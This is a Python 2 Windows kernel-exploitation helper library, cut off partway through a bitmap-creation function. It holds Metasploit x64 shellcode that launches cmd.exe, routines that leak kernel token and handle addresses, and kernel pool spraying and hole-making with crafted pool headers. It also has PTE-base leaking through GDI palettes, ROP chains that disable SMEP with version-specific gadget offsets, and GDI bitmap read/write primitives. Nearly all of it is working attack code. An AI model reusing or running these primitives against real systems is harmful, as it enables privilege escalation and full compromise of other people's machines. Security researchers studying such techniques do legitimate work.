import sys import os import struct import platform import signal from subprocess import check_output from ctypes import * from ctypes.wintypes import * ######################################################################################### #######################################Shellcodes######################################## ######################################################################################### # /* # * windows/x64/exec - 275 bytes # * http://www.metasploit.com # * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, # * CMD=cmd.exe # */ SHELLCODE_EXEC_CMD_X64 = ( "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64" "\x2e\x65\x78\x65\x00") ######################################################################################### ######################################Common structs##################################### ######################################################################################### ULONG_PTR = PVOID = LPVOID = PVOID64 = c_void_p PROCESSINFOCLASS = DWORD ULONG = c_uint32 PULONG = POINTER(ULONG) NTSTATUS = DWORD HPALETTE = HANDLE QWORD = c_ulonglong CHAR = c_char KAFFINITY = ULONG_PTR SDWORD = c_int32 #to be filled properly class PEB(Structure): _fields_ = [ ("Stuff", c_byte * 0xF8), ("GdiSharedHandleTable", PVOID) ] #source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx class PROCESS_BASIC_INFORMATION(Structure): _fields_ = [ ("Reserved1", PVOID), ("PebBaseAddress", POINTER(PEB)), ("Reserved2", PVOID * 2), ("UniqueProcessId", ULONG_PTR), ("Reserved3", PVOID) ] #source: https://www.ekoparty.org/archivo/2015/eko11-Abusing_GDI.pdf class GDICELL64(Structure): _fields_ = [ ("pKernelAddress", PVOID64), ("wProcessId", USHORT), ("wCount", USHORT), ("wUpper", USHORT), ("wType", USHORT), ("pUserAddress", PVOID64) ] #source: https://msdn.microsoft.com/en-us/library/windows/desktop/ms646340(v=vs.85).aspx class ACCEL(Structure): _fields_ = [ ("fVirt", BYTE), ("key", WORD), ("cmd", WORD) ] class ACCEL_ARRAY(Structure): _fields_ = [ ("ACCEL_ARRAY", POINTER(ACCEL) * 675) ] WNDPROCTYPE = WINFUNCTYPE(c_int, HWND, c_uint, WPARAM, LPARAM) #WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM) #Windows 10x64 v1703 class WNDCLASSEX(Structure): _fields_ = [ ("cbSize", c_uint), ("style", c_uint), ("lpfnWndProc", WNDPROCTYPE), ("cbClsExtra", c_int), ("cbWndExtra", c_int), ("hInstance", HANDLE), ("hIcon", HANDLE), ("hCursor", HANDLE), ("hBrush", HANDLE), ("lpszMenuName", LPCWSTR), ("lpszClassName", LPCWSTR), ("hIconSm", HANDLE) ] class PALETTEENTRY(Structure): _fields_ = [ ("peRed", BYTE), ("peGreen", BYTE), ("peBlue", BYTE), ("peFlags", BYTE) ] class LOGPALETTE(Structure): _fields_ = [ ("palVersion", WORD), ("palNumEntries", WORD), ("palPalEntry", POINTER(PALETTEENTRY)) ] class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR) ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22) ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", PVOID), ("HandleValue", PVOID), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", PVOID), ("Reserved", PVOID), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PROCESSENTRY32(Structure): """Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.""" _fields_ = [ ( 'dwSize' , DWORD ) , ( 'cntUsage' , DWORD) , ( 'th32ProcessID' , DWORD) , ( 'th32DefaultHeapID' , POINTER(ULONG)) , ( 'th32ModuleID' , DWORD) , ( 'cntThreads' , DWORD) , ( 'th32ParentProcessID' , DWORD) , ( 'pcPriClassBase' , LONG) , ( 'dwFlags' , DWORD) , ( 'szExeFile' , CHAR * MAX_PATH ) ] class CLIENT_ID(Structure): _fields_ = [ ("UniqueProcess", PVOID), ("UniqueThread", PVOID), ] class THREAD_BASIC_INFORMATION(Structure): _fields_ = [ ("ExitStatus", NTSTATUS), ("TebBaseAddress", PVOID), # PTEB ("ClientId", CLIENT_ID), ("AffinityMask", KAFFINITY), ("Priority", SDWORD), ("BasePriority", SDWORD), ] ######################################################################################### ###################################Function definitions################################## ######################################################################################### Psapi = windll.Psapi kernel32 = windll.kernel32 ntdll = windll.ntdll gdi32 = windll.gdi32 shell32 = windll.shell32 user32 = windll.user32 advapi32 = windll.advapi32 gdi32.CreatePalette.argtypes = [LPVOID] gdi32.CreatePalette.restype = HPALETTE gdi32.GetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID] gdi32.GetPaletteEntries.restype = UINT gdi32.SetPaletteEntries.argtypes = [HPALETTE, UINT, UINT, LPVOID] gdi32.SetPaletteEntries.restype = UINT gdi32.SetBitmapBits.argtypes = [HBITMAP, DWORD, LPVOID] gdi32.SetBitmapBits.restype = LONG gdi32.GetBitmapBits.argtypes = [HBITMAP, LONG, LPVOID] gdi32.GetBitmapBits.restype = LONG gdi32.CreateBitmap.argtypes = [c_int, c_int, UINT, UINT, c_void_p] gdi32.CreateBitmap.restype = HBITMAP ntdll.NtQueryInformationProcess.argtypes = [HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG] ntdll.NtQueryInformationProcess.restype = NTSTATUS ntdll.NtQueryObject.argtypes = [HANDLE, DWORD, POINTER(PUBLIC_OBJECT_TYPE_INFORMATION), ULONG, POINTER(ULONG)] ntdll.NtQueryObject.restype = NTSTATUS ntdll.NtQuerySystemInformation.argtypes = [DWORD, POINTER(SYSTEM_HANDLE_INFORMATION_EX), ULONG, POINTER(ULONG)] ntdll.NtQuerySystemInformation.restype = NTSTATUS kernel32.GetProcAddress.restype = c_ulonglong kernel32.GetProcAddress.argtypes = [HMODULE, LPCSTR] kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD] kernel32.OpenProcess.restype = HANDLE kernel32.GetCurrentProcess.restype = HANDLE kernel32.WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCSTR, DWORD, POINTER(LPVOID)] kernel32.WriteProcessMemory.restype = BOOL kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD, DWORD] kernel32.VirtualAllocEx.restype = LPVOID kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD, LPVOID, DWORD, POINTER(HANDLE)] kernel32.CreateRemoteThread.restype = BOOL kernel32.GetCurrentThread.argtypes = [] kernel32.GetCurrentThread.restype = HANDLE advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD , POINTER(HANDLE)] advapi32.OpenProcessToken.restype = BOOL kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD] kernel32.CreateToolhelp32Snapshot.restype = HANDLE kernel32.DeviceIoControl.argtypes = [HANDLE, DWORD, c_void_p, DWORD, c_void_p, DWORD, c_void_p, c_void_p] kernel32.DeviceIoControl.restype = BOOL ntdll.NtQueryInformationThread.argtypes = [HANDLE, DWORD, POINTER(THREAD_BASIC_INFORMATION), ULONG, POINTER(ULONG)] ntdll.NtQueryInformationThread.restype = NTSTATUS ######################################################################################### ######################################Common constants################################### ######################################################################################### # THREAD_INFORMATION_CLASS ThreadBasicInformation = 0 # PROCESS_INFORMATION_CLASS ProcessBasicInformation = 0 #Retrieves a pointer to a PEB structure that can be used to determine whether the specified process is being debugged, and a unique value used by the system to identify the specified process. It is best to use the CheckRemoteDebuggerPresent and GetProcessId functions to obtain this information. ProcessDebugPort = 7 #Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process is being run under the control of a ring 3 debugger. It is best to use the CheckRemoteDebuggerPresent or IsDebuggerPresent function. ProcessWow64Information = 26 #Determines whether the process is running in the WOW64 environment (WOW64 is the x86 emulator that allows Win32-based applications to run on 64-bit Windows). It is best to use the IsWow64Process function to obtain this information. ProcessImageFileName = 27 # Retrieves a UNICODE_STRING value containing the name of the image file for the process. It is best to use the QueryFullProcessImageName or GetProcessImageFileName function to obtain this information. ProcessBreakOnTermination = 29 #Retrieves a ULONG value indicating whether the process is considered critical. Note This value can be used starting in Windows XP with SP3. Starting in Windows 8.1, IsProcessCritical should be used instead. ProcessSubsystemInformation = 75#Retrieves a SUBSYSTEM_INFORMATION_TYPE value indicating the subsystem type of the process. The buffer pointed to by the ProcessInformation parameter should be large enough to hold a single SUBSYSTEM_INFORMATION_TYPE enumeration. ObjectBasicInformation = 0 ObjectTypeInformation = 2 SystemExtendedHandleInformation = 64 VER_NT_WORKSTATION = 1 # The system is a workstation. VER_NT_DOMAIN_CONTROLLER = 2 # The system is a domain controller. VER_NT_SERVER = 3 # The system is a server, but not a domain controller. GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 VIRTUAL_MEM = ( 0x1000 | 0x2000 ) STATUS_SUCCESS = 0 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_BUFFER_OVERFLOW = 0x80000005L STATUS_INVALID_HANDLE = 0xC0000008L STATUS_BUFFER_TOO_SMALL = 0xC0000023L PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) TOKEN_ALL_ACCESS = 0xf00ff FILE_DEVICE_UNKNOWN = 0x00000022 METHOD_BUFFERED = 0x0 METHOD_IN_DIRECT = 0x1 METHOD_OUT_DIRECT = 0x2 METHOD_NEITHER = 0x3 FILE_READ_DATA = 0x1 FILE_WRITE_DATA = 0x2 FILE_ANY_ACCESS = 0x0 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 NULL = 0x0 INVALID_HANDLE_VALUE = -1 TH32CS_SNAPPROCESS = 0x02 class x_file_handles(Exception): pass ######################################################################################### ###################This section contains sysinfo related functions####################### ######################################################################################### def get_kuser_shared_data(): """ This function returns the static address of KUSER_SHARED_DATA @return: address of KUSER_SHARED_DATA """ if platform.architecture()[0] == '64bit': return 0xFFFFF78000000000 elif platform.architecture()[0] == '32bit': return 0x7FFE0000 #source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py def signed_to_unsigned(signed): """ Convert signed to unsigned @param signed: the value to be converted """ unsigned = struct.unpack("L", struct.pack("l", signed)) return unsigned #source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/ def get_type_info(handle): """ Get the handle type information. @param handle: handle of the object """ public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = ntdll.NtQueryObject(handle, ObjectTypeInformation, byref(public_object_type_information), size, None) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: print "[-] INVALID HANDLE: %s, exiting..." % hex(handle) sys.exit(-1) else: raise x_file_handles("NtQueryObject", hex(result)) #source: https://github.com/tjguk/winsys/blob/master/random/file_handles.py + https://www.exploit-db.com/exploits/34272/ def get_handles(): """ Return all the open handles in the system """ system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof(system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def token_address_of_process(h_process, process_id): """ Function to get the address of the token belonging to a process @param h_process: handle to the process @param process_id: PID of the same process @return: address of the token """ token_handle = HANDLE() if not advapi32.OpenProcessToken(h_process,TOKEN_ALL_ACCESS, byref(token_handle)): print "[-] Could not open process token of process %s, exiting..." % pid sys.exit() print "[*] Leaking token addresses from kernel space..." for pid, handle, obj in get_handles(): if pid == process_id and get_type_info(handle) == "Token": if token_handle.value == handle: print "[+] PID: %s token address: %x" % (str(process_id), obj) return obj def get_teb_base(): """ Function to get the TEB base address @return: teb base address """ print "[*] Getting TEB base address" h_thread = kernel32.GetCurrentThread() tbi = THREAD_BASIC_INFORMATION() len = c_ulonglong() result = ntdll.NtQueryInformationThread(h_thread, ThreadBasicInformation, byref(tbi), sizeof(tbi), None) if result == STATUS_SUCCESS: teb_base = tbi.TebBaseAddress print "[+] TEB base address: %s" % hex(teb_base) return teb_base else: print "[-] Something wen wrong, exiting..." sys.exit(-1) def kernel_address_of_handle(h, process_id): """ Function to get the address of the handle @param h: handle to the object @param process_id: PID of the process @return: address of the handle """ print "[*] Leaking handle addresses from kernel space..." for pid, handle, obj in get_handles(): #print hex(handle) if pid == process_id and handle == h: print "[+] PID: %s handle %s address: %x" % (str(process_id), handle, obj) return obj def getpid(procname): """ Get Process Pid by procname @param procname: the name of the process to find @return: PID """ pid = None try: hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) pe32 = PROCESSENTRY32() pe32.dwSize = sizeof(PROCESSENTRY32) ret = kernel32.Process32First(hProcessSnap , byref(pe32)) while ret: if pe32.szExeFile == LPSTR(procname).value: pid = pe32.th32ProcessID ret = kernel32.Process32Next(hProcessSnap, byref(pe32)) kernel32.CloseHandle ( hProcessSnap ) except Exception, e: print "[-] Error: %s" % str(e) if not pid: print "[-] Could not find %s PID" % procname sys.exit() return pid ######################################################################################### ###############This section contains kernel pool spraying related functions############## ######################################################################################### kernel_object_sizes = {} #sizes of various kernel objects kernel_object_sizes['unnamed_mutex'] = 0x50 kernel_object_sizes['unnamed_job'] = 0x168 kernel_object_sizes['iocompletionreserve'] = 0x60 kernel_object_sizes['unnamed_semaphore'] = 0x48 kernel_object_sizes['event'] = 0x40 pool_object_handles = [] #the first 0x28 bytes in the pool allocation, which will allow an overwrite #the previous size and and the TypeIndex is set zero pool_object_headers = {} pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000] pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080000] pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000] pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000] pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080000] """ #The original typeindex (in case I need it later) original_typeindex = {} original_typeindex['unnamed_mutex'] = 0xe original_typeindex['unnamed_job'] = 0x6 original_typeindex['iocompletionreserve'] = 0xa original_typeindex['unnamed_semaphore'] = 0x10 original_typeindex['event'] = 0xc """ SPRAY_COUNT = 50000 def allocate_object(object_to_use, variance): """ Allocate an object based on the input @param object_to_use: name of the object to allocate @param variance: extra string to use (typically a number) for named objects @return: the handle to the object """ hHandle = HANDLE(0) if object_to_use == 'unnamed_mutex': hHandle = kernel32.CreateMutexA(None, False, None) elif object_to_use == 'named_mutex': hHandle = kernel32.CreateMutexA(None, False, "Pool spraying is cool %s" % variance) elif object_to_use == 'unnamed_job': hHandle = kernel32.CreateJobObjectA(None, None) elif object_to_use == 'named_job': hHandle = kernel32.CreateJobObjectA(None, "Job %s" % variance) elif object_to_use == 'iocompletionport': hHandle = kernel32.CreateIoCompletionPort(-1, None, 0, 0) elif object_to_use == 'iocompletionreserve': IO_COMPLETION_OBJECT = 1 ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT) hHandle = hHandle.value elif object_to_use == 'unnamed_semaphore': hHandle = kernel32.CreateSemaphoreA(None, 0, 3, None) elif object_to_use == 'named_semaphore': hHandle = kernel32.CreateSemaphoreA(None, 0, 3, "My little Semaphore %s" % variance) elif object_to_use == 'event': hHandle = kernel32.CreateEventA(None, False, False, None) if hHandle == None: print "[-] Error while creating object: %s" % object_to_use sys.exit(-1) return hHandle def find_object_to_spray(required_hole_size): """ Calculates which object to use for kernel pool spraying @param required_hole_size: the required hole size in kernel pool, which will be overflown @return: the object to use for creating the hole size """ for key in kernel_object_sizes: if required_hole_size % kernel_object_sizes[key] == 0: print "[+] Found a good object to spray with: %s" % key return key print "[-] Couldn't find proper object to spray with" sys.exit() def spray(required_hole_size): """ Spray the heap with objects which will allow us to create the required holes later @param required_hole_size: : the required hole size in kernel pool, which will be overflown @return: object type (name) to use for overflow """ global pool_object_handles good_object = find_object_to_spray(required_hole_size) for i in range(SPRAY_COUNT): pool_object_handles.append(allocate_object(good_object, i)) print "[+] Spray done!" return good_object def make_hole(required_hole_size, good_object): """ Making holes in the sprayd kernel @param required_hole_size: the required hole size in kernel pool, which will be overflown @param good_object: object type (name) to use for overflow """ global pool_object_handles nr_to_free = required_hole_size / kernel_object_sizes[good_object] for i in range(0, SPRAY_COUNT,16): for j in range(0,nr_to_free): kernel32.CloseHandle(pool_object_handles[i + j]) pool_object_handles[i + j] = None print "[+] Making holes done!" def gimme_the_hole(required_hole_size): """ Spray and make holes @param required_hole_size: the required hole size in kernel pool, which will be overflown """ good_object = spray(required_hole_size) make_hole(required_hole_size, good_object) return good_object def close_all_handles(): """ Close all handles, which were used for kernel pool spraying """ print "[+] Triggering shellcode!" global pool_object_handles for i in range(0, SPRAY_COUNT): if (pool_object_handles[i] != None): kernel32.CloseHandle(pool_object_handles[i]) pool_object_handles[i] = None print "[+] Free pool allocations done!" def calculate_previous_size(required_hole_size): """ Calculate the previous size value for the pool header The PreviousSize value * 8 = previous chunk @param required_hole_size: the required hole size in kernel pool, which will be overflown @return: the previous_size value to be used on the POOL_HEADER """ if platform.architecture()[0] == '64bit': return required_hole_size/16 elif platform.architecture()[0] == '32bit': return required_hole_size/8 else: print "[-] Couldn't determine the Windows architecture, exiting..." sys.exit(-1) def pool_overwrite(required_hole_size,good_object): """ This function will give us the data (POOL_HEADER + part of OBJECT_HEADER) to be used for the pool overwrite @param required_hole_size: the required hole size in kernel pool, which will be overflown @param good_object: object type (name) to use for overflow """ header = '' for i in range(len(pool_object_headers[good_object])): if i == 0: #for the first entry we need to calculate the previous pool size value, as it's required header += struct.pack("L",pool_object_headers[good_object][0] + calculate_previous_size(required_hole_size)) else: header += struct.pack("L",pool_object_headers[good_object][i]) return header ######################################################################################### ######################This section contains PTE related functions######################## ######################################################################################### def get_pxe_address_x64(virtual_address, pte_base): """ The functions gives the PTE address for a virtual address Based on: https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf @param virtual_address: the virtual address to convert @param pte_base: the base address for PTE """ pte_address = virtual_address >> 9 pte_address = pte_address | pte_base pte_address = pte_address & (pte_base + 0x0000007ffffffff8) return pte_address def get_pxe_address_x32(virtual_address, pte_base): """ The functions gives the PTE address for a virtual address @param virtual_address: the virtual address to convert @param pte_base: the base address for PTE """ pte_address = virtual_address >> 9 pte_address = pte_address | pte_base pte_address = pte_address & (pte_base + 0x007FFFF8) return pte_address def get_pte_base_old_x64(): """ Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """ return 0xFFFFF68000000000 def get_pte_base_old_x32(): """ Returns the PTE base address for older version of Windows (prior 1607 / Redstone 1 / Anniversary Update) """ return 0xC0000000 def leak_pte_base_palette(manager_palette, worker_palette): """ Based on: https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Pointer-Leak.ps1 and https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf Function to leak the PTE base from the nt!MiGetPteAddress function @param manager_platte: handle to the manager palette @param worker_platte: handle to the worker palette @return: PTE base """ print "[*] Locating PTE base..." #get the MmFreeNonCachedMemory address if platform.architecture()[0] == '64bit': kernel32.LoadLibraryExA.restype = c_uint64 kernel32.GetProcAddress.argtypes = [c_uint64, POINTER(c_char)] kernel32.GetProcAddress.restype = c_uint64 #(krnlbase, kernelver) = find_driver_base() krnlbase = leak_nt_base_palette(manager_palette, worker_palette) kernelver = ['ntoskrnl.exe','ntkrnlmp.exe','ntkrnlpa.exe','ntkrpamp.exe'] for k in kernelver: print "[+] Loading %s in userland" % k hKernel = kernel32.LoadLibraryExA(k, 0, 1) if hKernel != 0: print "[+] %s base address : %s" % (k, hex(hKernel)) break if hKernel == 0: print "[-] Couldn't load kernel, exiting..." sys.exit(-1) MmFreeNonCachedMemory = kernel32.GetProcAddress(hKernel, 'MmFreeNonCachedMemory') MmFreeNonCachedMemory -= hKernel MmFreeNonCachedMemory += krnlbase print "[+] MmFreeNonCachedMemory address: %s" % hex(MmFreeNonCachedMemory) #use palettes to find the MiGetPteAddress by searching the CALL function in MmFreeNonCachedMemory #e.g.: fffff802`3c6ba4d7 e8fc059bff call nt!MiGetPteAddress (fffff802`3c06aad8) MmFreeNonCachedMemory_data = create_string_buffer(0x100) read_memory_palette(manager_palette, worker_palette, MmFreeNonCachedMemory, byref(MmFreeNonCachedMemory_data), sizeof(MmFreeNonCachedMemory_data)) #loop through the function data and search for the first call (e8) for i in range(sizeof(MmFreeNonCachedMemory_data)): if MmFreeNonCachedMemory_data.raw[i] == '\xe8': offset = 0x100000000 - struct.unpack("L",MmFreeNonCachedMemory_data.raw[i+1:i+5])[0] MiGetPteAddress_address = MmFreeNonCachedMemory - offset + 5 + i print "[+] MiGetPteAddress address: %s" % hex(MiGetPteAddress_address) break """ nt!MiGetPteAddress: fffff802`3c06aad8 48c1e909 shr rcx,9 fffff802`3c06aadc 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h fffff802`3c06aae6 4823c8 and rcx,rax fffff802`3c06aae9 48b80000000000baffff mov rax,0FFFFBA0000000000h """ pte_base = c_ulonglong() read_memory_palette(manager_palette, worker_palette, MiGetPteAddress_address + 0x13, byref(pte_base), sizeof(pte_base)) print "[+] PTE base: %s" % hex(pte_base.value) return pte_base.value def make_memory_executable_palette(manager_palette, worker_palette, virtual_address): """ Function to change an address to executable with palettes based on: https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf @param manager_platte: handle to the manager palette @param worker_platte: handle to the worker palette """ pte_base = leak_pte_base_palette(manager_palette, worker_palette) pte_address = get_pxe_address_x64(virtual_address, pte_base) current_pte_value = c_ulonglong() read_memory_palette(manager_palette, worker_palette, pte_address, byref(current_pte_value), sizeof(current_pte_value)) tobe_pte_value = c_ulonglong(current_pte_value.value & 0x0fffffffffffffff) write_memory_palette(manager_palette, worker_palette, pte_address, byref(tobe_pte_value), sizeof(tobe_pte_value)); ######################################################################################### #################This section contains SMEP bypass related functions##################### ######################################################################################### def get_smep_rop1_offsets(): """ This function returns offsets to support the ROP chain which change the value in CR4 @return: offsets """ p = platform.platform() if p == 'Windows-10-10.0.16299': pop_rcx_ret = 0x160580 mov_cr4_rcx_ret = 0x41f901 elif p == 'Windows-8.1-6.3.9600': pop_rcx_ret = 0x20b29 mov_cr4_rcx_ret = 0x8655a else: print "[-] Offsets are not currently available for this platform, exiting..." sys.exit(-1) return (pop_rcx_ret, mov_cr4_rcx_ret) def get_smep_rop2_offsets(): """ This function returns offsets to support the ROP chain which sets a user mode page to be in kernel (supervisory) @return: offsets """ p = platform.platform() if p == 'Windows-10-10.0.16299': pop_rcx_ret = 0x23ed #s hal L7f000 59 c3 pop_rax_ret = 0xbb9e #s hal L7f000 58 c3 mov_byte_ptr_rax_cl_ret = 0x9820 #s hal L7f000 88 08 wbinvd_ret = 0x415f0 #s hal L7f000 0f 09 c3 else: print "[-] Offsets are not currently available for this platform, exiting..." sys.exit(-1) return (pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret) def disable_smep_cr4_rop(kernel_base, return_address): """ This function creates a ROP chain to disable SMEP in the CR4 register @param kernel_base: base address of the kernel @param return_address: address to return to after the ROP chain completes @return: ROP chain """ (pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets() rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret rop += struct.pack("<Q", 0x506f8) # (popped into rcx) rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret if return_address != None: rop += struct.pack("<Q", return_address) # (return into shellcode) return rop def enable_smep_cr4_rop(kernel_base, return_address): """ This function creates a ROP chain to enable SMEP in the CR4 register @param kernel_base: base address of the kernel @param return_address: address to return to after the ROP chain completes @return: ROP chain """ (pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets() rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret rop += struct.pack("<Q", 0x1506f8) # (popped into rcx) rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret if return_address != None: rop += struct.pack("<Q", return_address) # (return into shellcode) return rop def set_user_pte_kernel_rop(hal_base, va_pte, return_address): """ This function creates a ROP chain to set a user address to be kernel address as described here: https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf @param hal_base: base address of the hal @param va_pte: the PTE address of the VA, that has to be changed from user space to kernel space @param return_address: address to return to after the ROP chain completes @return: ROP chain """ (pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret) = get_smep_rop2_offsets() rop = struct.pack("<Q", hal_base + pop_rcx_ret) # pop rcx; ret rop += struct.pack("<Q", 0x63) # DIRTY + ACCESSED + R/W + PRESENT rop += struct.pack("<Q", hal_base + pop_rax_ret) # pop rax; ret rop += struct.pack("<Q", va_pte) # PTE address rop += struct.pack("<Q", hal_base + mov_byte_ptr_rax_cl_ret) # mov byte ptr [rax], cl; ret rop += struct.pack("<Q", hal_base + wbinvd_ret) # wbinvd; ret rop += struct.pack("<Q", return_address) # The return address (in user space) return rop def stack_pivot_from_kernel_to_user_rop(): """ This function creates a ROP chain to stack pivot to user space from kernel space !!!!To be implemented @return: ROP chain """ rop = '' return rop ######################################################################################### ############This section contains kernel GDI object abusing related functions############ ######################################################################################### def create_bitmap(width, height, cBitsPerPel): """ This function will create a bitmap for write-what-where vulnerabilities with GDI abuse @param width: width of the bitmap @param height: height of the bitmap @param cBitsPerPel: bit ber cel @return: the handle to the BITMAP object """ bitmap_handle = HBITMAP() bitmap_handle = gdi32.CreateBitmap(width, height, 1, cBitsPerPel, None) if bitmap_handle == None: print "[-] Error creating bitmap, exiting...." sys.exit(-1) print "[+] Bitmap handle: %s" % hex(bitmap_handle) return bitmap_handle def create_bitmaps(width, height, cBitsPerPel): """ This function will create the worker and manager bitmap for write-what-where vulnerabilities with GDI abuse @param width: width of the bitmap @param height: height of the bitmap @param cBitsPerPel: bit ber cel """ print "[*] Creating manager bitmap" manager_bitmap_handle = create_bitmap(width, height, cBitsPerPel) print "[*] Creating worker bitmap" worker_bitmap_handle = create_bitmap(width, height, 